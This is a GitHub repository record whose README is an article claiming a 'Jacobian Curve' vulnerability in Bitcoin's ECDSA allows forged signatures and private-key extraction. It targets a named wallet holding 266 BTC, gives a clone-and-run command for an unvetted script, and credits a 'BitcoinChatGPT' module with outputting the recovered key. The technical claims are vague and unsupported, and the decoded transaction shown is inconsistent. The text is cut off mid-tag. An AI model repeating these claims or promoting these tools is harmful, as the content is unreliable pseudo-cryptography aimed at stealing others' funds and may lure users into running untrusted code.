{"id":18031532,"url":"https://github.com/demining/jacobian-curve-algorithm-vulnerability","last_synced_at":"2025-03-27T05:30:52.339Z","repository":{"id":254658076,"uuid":"847184270","full_name":"demining/Jacobian-Curve-Algorithm-Vulnerability","owner":"demining","description":"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File","archived":false,"fork":false,"pushed_at":"2024-10-30T01:48:50.000Z","size":39985,"stargazers_count":4,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-03-23T04:23:12.739Z","etag":null,"topics":["attack","bitcoin","bitcoin-hacking","bitcoin-wallet","btc","btc-wallet","chatgpt","cryptocurrency","decoder","decoding","fake-usdt-trc20","machine-learning","privatekey","vulnerability"],"latest_commit_sha":null,"homepage":"https://cryptodeeptech.ru/jacobian-curve-algorithm-vulnerability","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/demining.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2024-08-25T05:05:18.000Z","updated_at":"2024-10-30T01:48:53.000Z","dependencies_parsed_at":"2024-08-25T06:34:20.745Z","dependency_job_id":null,"html_url":"https://github.com/demining/Jacobian-Curve-Algorithm-Vulnerability","commit_stats":null,"previous_names":["demining/jacobian-curve-algorithm-vulnerability"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/demining%2FJacobian-Curve-Algorithm-Vulnerability","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/demining%2FJacobian-Curve-Algorithm-Vulnerability/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/demining%2FJacobian-Curve-Algorithm-Vulnerability/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/demining%2FJacobian-Curve-Algorithm-Vulnerability/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/demining","download_url":"https://codeload.github.com/demining/Jacobian-Curve-Algorithm-Vulnerability/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":245791281,"owners_count":20672664,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["attack","bitcoin","bitcoin-hacking","bitcoin-wallet","btc","btc-wallet","chatgpt","cryptocurrency","decoder","decoding","fake-usdt-trc20","machine-learning","privatekey","vulnerability"],"created_at":"2024-10-30T10:09:30.919Z","updated_at":"2025-03-27T05:30:47.328Z","avatar_url":"https://github.com/demining.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"\n\t\t\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/056-1024x576.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-5763\"\u003e\u003c/figure\u003e\n\n\n\n\u003cp\u003eIn this article, we will look at a vulnerability associated with the implementation of the Jacobian Curve. In recent years, cryptocurrencies such as Bitcoin have become an important part of the financial ecosystem. However, as their popularity grows, so do the threats associated with cybersecurity. One such threat is the Jacobian Curve vulnerability, which affects the Elliptic Curve Digital Signature Algorithm (ECDSA). This vulnerability allows attackers to generate fake signatures, which can lead to serious consequences for users and the integrity of the Bitcoin network.\u003c/p\u003e\n\n\n---\n\n* Tutorial: https://youtu.be/qf6u85wGwNw\n* Tutorial: https://cryptodeeptech.ru/jacobian-curve-algorithm-vulnerability\n* Google Colab: https://colab.research.google.com/drive/1E3ZZpzPXcqbK3ngZbxRVk5McI4L8K5h3\n\n---\n\n\n\u003cp\u003eJacobian Curve algorithm vulnerability refers to flaws in the implementation of elliptic curve cryptography, specifically affecting ECDSA. Attackers can manipulate the mathematical properties of the Jacobian coordinates used in elliptic curve calculations, allowing them to create fraudulent transactions with forged signatures. Jacobian Curve algorithm vulnerability refers to flaws in the implementation of elliptic curve cryptography used in ECDSA. This vulnerability allows attackers to manipulate the mathematical properties of the Jacobian coordinates used to generate digital signatures. As a result of such manipulations, attackers can create fraudulent transactions with forged signatures that will be accepted as valid by the Bitcoin system.\u003c/p\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"\u003e\n\u003cp\u003e\u003cem\u003eThe vulnerability occurs in\u0026nbsp;\u003ca href=\"https://cryptodeeptech.ru/deserialize-signature-vulnerability-bitcoin\" target=\"_blank\" rel=\"noreferrer noopener\"\u003ethe process of data deserialization\u003c/a\u003e\u0026nbsp;, which can be used to inject malicious code and create false signatures. If the data is processed incorrectly, attackers are able to forge ECDSA signatures, which compromises the integrity of the Bitcoin system.\u003c/em\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch3 class=\"wp-block-heading\"\u003ePotential consequences\u003c/h3\u003e\n\n\n\n\u003cp\u003eThe main threat associated with this vulnerability is the possibility of unauthorized access to user funds. Attackers can use forged signatures to create transactions that transfer bitcoins from unsuspecting users’ wallets to their own accounts. This not only undermines trust in the system, but can also lead to significant financial losses for users. Forged signatures allow attackers to transfer funds from victims’ wallets to their own accounts. Moreover, such attacks can compromise the integrity of the blockchain, creating\u0026nbsp;\u003ca href=\"https://cryptodeeptech.ru/vector76-attack/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003ea threat of double spending\u003c/a\u003e\u0026nbsp;and destroying the basic principle of the system.\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cfigure class=\"wp-block-embed is-type-rich\"\u003e\u003cdiv class=\"wp-block-embed__wrapper\"\u003e\nhttps://youtube.com/watch?v=qf6u85wGwNw%3Fsi%3Dq53ymtsNQlXtsr__\n\u003c/div\u003e\u003c/figure\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003ca href=\"https://www.youtube.com/watch?v=qf6u85wGwNw\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-30.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-5810\"\u003e\u003c/a\u003e\u003c/figure\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch3 class=\"wp-block-heading\"\u003eDenial of service (DoS) attack and leakage of confidential information, including “users’ private keys”.\u003c/h3\u003e\n\n\n\n\u003cp\u003eIf certain nodes in the Bitcoin network are compromised, it can cause the blockchain to fork into incompatible chains, creating confusion and\u0026nbsp;\u003ca href=\"https://cryptodeeptech.ru/vector76-attack/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003epotential double-spending issues\u003c/a\u003e\u0026nbsp;. Additionally, attackers can use this vulnerability to launch denial-of-service (DoS) attacks, flooding the network with invalid transactions, which can make it inaccessible to legitimate users.\u003c/p\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"\u003e\n\u003cp\u003e\u003cem\u003eSuccessful exploitation of this vulnerability could also cause a discrepancy in the Bitcoin network consensus state, causing the block chain to split into incompatible branches. This could result in\u0026nbsp;\u003cstrong\u003edenial of service (DoS)\u003c/strong\u003e\u0026nbsp;attacks and\u0026nbsp;\u003ca href=\"https://cryptodeeptech.ru/reduce-private-key\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eleaks of sensitive information\u003c/a\u003e\u0026nbsp;, including users’\u0026nbsp;\u003cstrong\u003eprivate keys\u003c/strong\u003e\u0026nbsp;.\u003c/em\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch3 class=\"wp-block-heading\"\u003eExploitation mechanisms and impact on multi-signatures\u003c/h3\u003e\n\n\n\n\u003cp\u003eThe vulnerability of the\u0026nbsp;\u003cstrong\u003eJacobian Curve\u003c/strong\u003e\u0026nbsp;algorithm is especially dangerous for systems using multi-signature schemes, where multiple signatures from different participants are required to complete a transaction. An attacker can generate fake signatures that will be accepted by the system, which puts at risk not only individual transactions, but the entire multi-signature process.\u003c/p\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"\u003e\n\u003cp\u003e\u003cem\u003eAs we have learned, if user input data is not properly verified, it can lead to serious disruptions in the Bitcoin system, where an attacker can take advantage of the opportunity to inject malicious code and ultimately manipulate the system by creating fake signatures in Bitcoin transactions.\u003c/em\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading\"\u003e\u003ca href=\"https://github.com/demining/CryptoDeepTools/blob/main/35JacobianCurve/Jacobian_Curve_Vulnerability_Algorithm_and_Tools_for_Extracting_Private_Key.ipynb\" target=\"_blank\" rel=\"noreferrer noopener\"\u003ePractical part\u003c/a\u003e\u003c/h2\u003e\n\n\n\n\u003cp\u003eFrom the theory of vulnerability of the\u0026nbsp;\u003cstrong\u003eJacobian Curve\u003c/strong\u003e\u0026nbsp;algorithm , it is known that attackers can use the vulnerability to carry out DoS attacks, overloading the network with invalid transactions, which destabilizes the Bitcoin network. Let’s move on to the practical part of the article and consider an example using a Bitcoin wallet:\u0026nbsp;\u003ca href=\"https://btc1.trezor.io/address/15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2\"\u003e\u003cstrong\u003e15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2\u003c/strong\u003e\u003c/a\u003e\u0026nbsp;, where there were lost coins in the amount of:\u0026nbsp;\u003cstrong\u003e266.03138481 BTC\u003c/strong\u003e\u0026nbsp;as of August 2024, this amount is:\u0026nbsp;\u003cstrong\u003e15747770.36 USD\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003ca href=\"https://exploitdarlenepro.com/15gcfqvj68vyuvdb6e3vdu4itktc3htlq2/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-74-1024x36.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\"\u003e\u003c/a\u003e\u003cfigcaption class=\"wp-element-caption\"\u003e\u003cstrong\u003e\u003ca href=\"https://exploitdarlenepro.com/15gcfqvj68vyuvdb6e3vdu4itktc3htlq2/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e266.03138481 BTC \u0026gt; 15747770,36 USD\u003c/a\u003e\u003c/strong\u003e\u003c/figcaption\u003e\u003c/figure\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch3 class=\"wp-block-heading\"\u003e\u003ca href=\"https://github.com/demining/Tutorials-Power-AI\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eTutorials Power AI\u003c/a\u003e\u003c/h3\u003e\n\n\n\n\u003cp\u003eLet’s use the list from\u0026nbsp;\u003ca href=\"https://github.com/demining/Tutorials-Power-AI\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e“Tutorials Power AI”\u003c/a\u003e\u0026nbsp;a widely used category of artificial intelligence to introduce business in various fields of cryptanalysis and cryptography in general.\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"\u003e\n\u003cp\u003e\u003cstrong\u003e\u003cem\u003eInstallation command:\u003c/em\u003e\u003c/strong\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e\u003cstrong\u003egit clone https://github.com/demining/Tutorials-Power-AI.git\n\ncd Tutorials-Power-AI/\n\npython3 tutorials.py\u003c/strong\u003e\n\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/process.gif\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\"\u003e\u003c/figure\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-1024x272.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-5654\"\u003e\u003c/figure\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"\u003e\n\u003cp\u003e\u003ca href=\"https://bitcoinchatgpt.org/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003cstrong\u003eBitcoinChatGPT\u003c/strong\u003e\u003c/a\u003e\u0026nbsp;is an innovative AI-powered chatbot that helps users find vulnerabilities in Bitcoin cryptocurrency transactions. BitcoinChatGPT benefits and classifications give you the ability to check your Bitcoin address for various crypto wallet attack schemes. Machine learning based on cryptanalysis gives us the full ability to investigate various attacks on the algorithms used in the Bitcoin ecosystem. Tools for extracting private key from the Bitcoin Wallet ledger are widely popular, where BitcoinChatGPT serves as an important and useful resource for cybersecurity.\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading\"\u003e\u003ca href=\"https://cryptodeeptech.ru/jacobian-curve-algorithm-vulnerability/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eExploiting Jacobian Curve Implementation Vulnerability to Create Raw Transaction Using BitcoinChatGPT Machine Learning Process\u003c/a\u003e\u003c/h2\u003e\n\n\n\n\u003cp\u003eLet’s consider the construction of the structure of a vulnerable\u0026nbsp;\u003cstrong\u003e\u003ca href=\"https://github.com/demining/CryptoDeepTools/blob/main/35JacobianCurve/RawTX.txt\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eRaw\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;transaction in which the\u0026nbsp;\u003cstrong\u003e\u003ca href=\"https://bitcoinchatgpt.org/gauss-jacobi-method-algorithm/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eBitcoinChatGPT module is used\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cfigure class=\"wp-block-embed is-type-rich\"\u003e\u003cdiv class=\"wp-block-embed__wrapper\"\u003e\nhttps://youtube.com/watch?v=vI-S3ua0QEA%3Fsi%3DQub8cfauRfuQaP6i\n\u003c/div\u003e\u003c/figure\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003ca href=\"https://www.youtube.com/watch?v=vI-S3ua0QEA\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-31.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-5811\"\u003e\u003c/a\u003e\u003c/figure\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"\u003e\n\u003cp\u003e\u003cstrong\u003eLet’s open the Google Colab version:\u003c/strong\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003cp\u003e\u003ca href=\"https://colab.research.google.com/drive/17PN1uHeeGhQFTKRx6s8OS3YftgxNvQzd#scrollTo=2dl8T79mn1YL\"\u003ehttps://colab.research.google.com/drive/17PN1uHeeGhQFTKRx6s8OS3YftgxNvQzd#scrollTo=2dl8T79mn1YL\u003c/a\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e\u003cstrong\u003eState of a vulnerable transaction in Bitcoin:\n\n01000000\n....01\n........0dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935\n............00000000\n........8a473044\n....0220\n......................1c0075c09b94e2ba2508e41028bf4ab9845e6d3a3f2ec82ae40c412ba15f5240\n....0220\n........7ab992f45b5ff5856998efb50cd3cfef49a44e376b9347b177a5f046bc14d606\n.....014104603a599358eb3b2efcde03debc60a493751c1a4f510df18acf857637e74bdbaf6e123736ff75de66b355b5b8ea0a64e179a4e377d3ed965400eff004fa41a74e\n....ffffffff\n01\n....d204000000000000\n........1976\n............a914\n........334a75f1d3bbefa5b761e5fa53e60bce2a822879\n....88ac\n00000000\u003c/strong\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"\u003e\n\u003cp\u003e\u003cstrong\u003eLet’s combine all the output values ​​into one common line:\u003c/strong\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e\u003cstrong\u003e01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008a47304402201c0075c09b94e2ba2508e41028bf4ab9845e6d3a3f2ec82ae40c412ba15f524002207ab992f45b5ff5856998efb50cd3cfef49a44e376b9347b177a5f046bc14d606014104603a599358eb3b2efcde03debc60a493751c1a4f510df18acf857637e74bdbaf6e123736ff75de66b355b5b8ea0a64e179a4e377d3ed965400eff004fa41a74effffffff01d2040000000000001976a914334a75f1d3bbefa5b761e5fa53e60bce2a82287988ac00000000\u003c/strong\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"\u003e\n\u003cp\u003e\u003cstrong\u003eLet’s open the BlockCypher option\u0026nbsp;\u003c/strong\u003e\u003cstrong\u003e\u003ca href=\"https://live.blockcypher.com/btc/decodetx\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e“Decode A Transaction”\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;:\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003cp\u003e\u003ca href=\"https://live.blockcypher.com/btc/decodetx\"\u003ehttps://live.blockcypher.com/btc/decodetx\u003c/a\u003e\u003c/p\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-2-1024x618.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-5666\"\u003e\u003c/figure\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"\u003e\n\u003cp\u003e\u003cstrong\u003eAfter decoding the vulnerable Bitcoin Raw transaction we get the result:\u003c/strong\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e\u003cstrong\u003e{\n    \"addresses\": [\n        \"1QiERrMcv6mtGk4F1TVz4sRp9dFfXTQpK\",\n        \"15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2\"\n    ],\n    \"block_height\": -1,\n    \"block_index\": -1,\n    \"confirmations\": 0,\n    \"double_spend\": false,\n    \"fees\": 2606688996428,\n    \"hash\": \"e88bcb98a9352f5f936ce92acfc1fb98f6cf1aedf8a985ea67c63961c108a149\",\n    \"inputs\": [\n        {\n            \"addresses\": [\n                \"1QiERrMcv6mtGk4F1TVz4sRp9dFfXTQpK\"\n            ],\n            \"age\": 344419,\n            \"output_index\": 0,\n            \"output_value\": 2606688997662,\n            \"prev_hash\": \"35591e5c7f4f1f0e4d81748042f2a4b7dcae3ae01027f361cad7c8746369bc0d\",\u003c/strong\u003e\n\u003cstrong\u003e.......\n.......\n.......\u003c/strong\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"\u003e\n\u003cp\u003eNote on Bitcoin HASH160:\u0026nbsp;\u003cstrong\u003e334a75f1d3bbefa5b761e5fa53e60bce2a822879\u003c/strong\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-3.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-5668\"\u003e\u003c/figure\u003e\n\n\n\n\u003cp\u003e\u003ca href=\"https://github.com/demining/CryptoDeepTools/blob/50de2ffdd7f9f06a34049d1c72559aa16b1bf42c/35JacobianCurve/DecodeRawTX.txt#L31C30-L31C70\"\u003ehttps://github.com/demining/CryptoDeepTools/blob/50de2ffdd7f9f06a34049d1c72559aa16b1bf42c/35JacobianCurve/DecodeRawTX.txt#L31C30-L31C70\u003c/a\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading\"\u003e\u003ca href=\"https://coinbin.ru/#verify\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eTransaction Script\u003c/a\u003e\u003c/h2\u003e\n\n\n\n\u003ch5 class=\"wp-block-heading\"\u003eThe above script has been decoded\u003c/h5\u003e\n\n\n\n\u003cp\u003eBitcoinChatGPT creates a transaction structure using\u0026nbsp;\u003ccode\u003e\u003cstrong\u003eHASH\u003c/strong\u003e\u003c/code\u003ethe public key, where we see that Bitcoin address:\u0026nbsp;\u003cstrong\u003e\u003ca href=\"https://btc1.trezor.io/address/15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;sends\u0026nbsp;\u003cstrong\u003e\u003ccode\u003e1234 satoshi\u003c/code\u003e\u003c/strong\u003eto the same address within its network.\u003c/p\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-4-1024x369.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-5671\"\u003e\u003c/figure\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003eBitcoin HASH160 was generated using Python Script:\u0026nbsp;\u003ca href=\"https://github.com/demining/CryptoDeepTools/blob/main/35JacobianCurve/wif_to_hash160.py\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003cstrong\u003ewif_to_hash160.py\u003c/strong\u003e\u003c/a\u003e\u003c/p\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-5.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-5674\"\u003e\u003c/figure\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-6-1024x707.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-5676\"\u003e\u003c/figure\u003e\n\n\n\n\u003cp\u003e\u003ca href=\"https://github.com/demining/CryptoDeepTools/blob/main/35JacobianCurve/wif_to_hash160.py\"\u003ehttps://github.com/demining/CryptoDeepTools/blob/main/35JacobianCurve/wif_to_hash160.py\u003c/a\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"\u003e\n\u003cp\u003e\u003cstrong\u003eQuestion – Answer:\u003c/strong\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-8-1024x561.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-5684\"\u003e\u003c/figure\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-9-1024x557.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-5686\"\u003e\u003c/figure\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-10-1024x58.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-5687\"\u003e\u003c/figure\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"\u003e\n\u003cp\u003eFinally, the\u0026nbsp;\u003cstrong\u003e\u003ca href=\"https://github.com/BitcoinChatGPT/Jacobian-Curve-Vulnerability-Algorithm/blob/main/BitcoinChatGPT_%E2%84%964_Jacobian_Curve_Vulnerability_Algorithm.ipynb\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eBitcoinChatGPT\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;module outputs the response to the file:\u0026nbsp;\u003cstrong\u003e\u003ca href=\"https://github.com/demining/CryptoDeepTools/blob/main/35JacobianCurve/KEYFOUND.privkey\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eKEYFOUND.privkey\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;storing the private key in two most used formats\u0026nbsp;\u003cstrong\u003eHEX \u0026amp; WIF\u003c/strong\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the 